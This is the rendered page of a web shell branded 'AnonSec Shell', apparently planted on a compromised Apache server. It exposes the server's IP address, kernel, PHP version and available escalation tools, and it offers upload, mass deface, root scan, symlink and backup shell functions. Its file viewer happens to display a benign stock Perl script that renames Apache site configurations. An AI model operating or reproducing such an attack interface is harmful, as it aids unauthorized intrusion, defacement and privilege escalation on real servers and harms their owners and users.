AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 20.75.53.88 / Your IP : 216.73.217.165 [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON | cURL : OFF | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON
Directory : /usr/share/doc/apache2/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /usr/share/doc/apache2/migrate-sites.pl

#! /usr/bin/perl

#
# Rename existing sites in $SITES_AVAILABLE to make sure they have a
# .conf suffix. update symlinks in $SITES_ENABLED if necessary
#
# Warning: This script does not work if you didn't use a2ensite/a2dissite to
# manage your sites
#

use strict;
use File::Copy;
use File::Spec;
use File::Basename;

my $SITES_AVAILABLE = "/etc/apache2/sites-available";
my $SITES_ENABLED = "/etc/apache2/sites-enabled";

my %SITES = (
	"$SITES_AVAILABLE" => [],
	"$SITES_ENABLED" => []
);

sub error
{
	my $reason = shift;
	print STDERR "$reason\n";
	exit 1;
}

foreach my $key (keys %SITES)
{
	error("No such directory: $key") unless -d $key;

	opendir(DIR, $key) || error("$key: $!");
	push $SITES{$key}, grep { m#^[^\.]# && $_ !~ m/default|default-ssl/ && $_ !~ m#\.conf$# } readdir(DIR);
	closedir(DIR);
}

foreach my $site (@{ $SITES{$SITES_AVAILABLE} })
{
		print("rename $site -> $site.conf\n");
		my $curname = $SITES_AVAILABLE . "/" . $site;
		my $newname = $curname . ".conf";
		my $curlink = $SITES_ENABLED . "/" . $site;
		my $newlink = $curlink . ".conf";

		if (-e $curname)
		{
			move($curname, $newname) || error("Could not rename file $curname: $!");
			if ( grep { $_ eq $site && -l $SITES_ENABLED . "/" . $_ } @{ $SITES{$SITES_ENABLED} } )
			{
				print("re-enable site: $site as $site.conf\n");
				symlink( File::Spec->abs2rel( $newname,	dirname($newlink)), $newlink ) || error("Could not create link $newlink: $1");
				if ( -l $curlink )
				{
					unlink($curlink)
				}
			}
		}
}

Anon7 - 2022
AnonSec Team